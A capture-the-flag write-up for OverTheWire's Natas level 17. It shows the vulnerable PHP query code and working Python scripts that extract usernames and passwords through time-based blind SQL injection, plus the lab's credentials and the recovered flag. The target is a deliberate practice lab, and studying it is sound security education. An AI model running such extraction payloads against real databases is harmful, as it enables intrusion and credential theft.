Problem :lock:

We arrive at a page with a text input, exactly the same as in Natas15.

Solution :key:

Let’s see if the source code is the same as well.

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?> 
Full Page Source
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head>
<body>
<h1>natas17</h1>
<div id="content">
<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Well, for the most part yes, but not for the important part. This time it won’t even tell us if our query returned anything or if it even has any errors in it. Time to try out a different variation of blind SQL injection then, time based blind sqli should work!

Googling for a bit made me find this, in that report’s PoC, the guy used SQL’s IF() function which makes things easier to understand. So I googled how to use this IF() function and found it here.

Our initial payload is:

union select if(TRUE,sleep(5),0),"asd"

Let’s try it out with a python script.

import requests

url = "http://natas17.natas.labs.overthewire.org/"
authheader = {
    "Authorization": "Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw=="
}
s = requests.Session()
s.headers.update(authheader)

payload = {
    "username": "\" union select if(TRUE,sleep(5),0),2 #"
}

r = s.post(url, payload)

print r.text

Don’t forget to add the " in the beginning and the # in the end, this query actually did took 5 seconds before returning the page so it should indicate that it did work. I tried changing TRUE to FALSE and that made the page return instantly.

Now we just need to do the character guessing with ascii() and substring() like we did in the previous blind sqli challenge, but this time, we need to find a way to make python know about response time, because we can’t simply look at the page output. So this time we’ll use a timeout.

import requests
import string

url = "http://natas17.natas.labs.overthewire.org/"
authheader = {
    "Authorization": "Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw=="
}
s = requests.Session()
s.headers.update(authheader)

row = 1
while 1:
    payload = {
        "username": "\" union select if((select count(*) from users)=%d,sleep(5),0),2 #" % row
    }
    # print "[ ] %s" % payload["username"]

    try:
        r = s.post(url, payload, timeout=3)
    except requests.Timeout:
        print "[*] total rows: %d" % row
        break
    else:
        row += 1

charset_string = string.ascii_letters + "1234567890"
charset = []
for c in charset_string:
    charset.append(ord(c))

cols = ["username", "password"]
for i in range(row):
    for col in cols:
        flag = ''
        done = 0
        pos = 1
        while 1:
            if done:
                break
            for c in charset:
                payload = {
                    "username": "\" union select if((ascii(substring((select %s from users limit %d,1),%d,1))=%d),sleep(5),0),2 #" % (col, i, pos, c)
                }
                # print "[ ] %s" % payload["username"]

                try:
                    r = s.post(url, payload, timeout=3)
                except requests.Timeout:
                    flag += chr(c)
                    # print "[*] current string: %s" % flag
                    pos += 1
                    break
                except:
                    s = requests.Session()
                    s.headers.update(authheader)
                
                if c == ord('0'):
                    print "[+] col %s row %d: %s" % (col, i+1, flag)
                    done = 1
                    break

Here we’ll set the timeout to be 3 secs just in case my internet goes slow, and the sleep() to wait for 5 secs so it will definitely trigger the timeout exception, if it got another exception it’s probably the server killing our session, so we’ll just make a new one. Running the script got me this output.

[*] total rows: 4
...
[+] col username row 4: natas18
[+] col password row 4: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

You can download my script.py here

Flag :checkered_flag:

xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP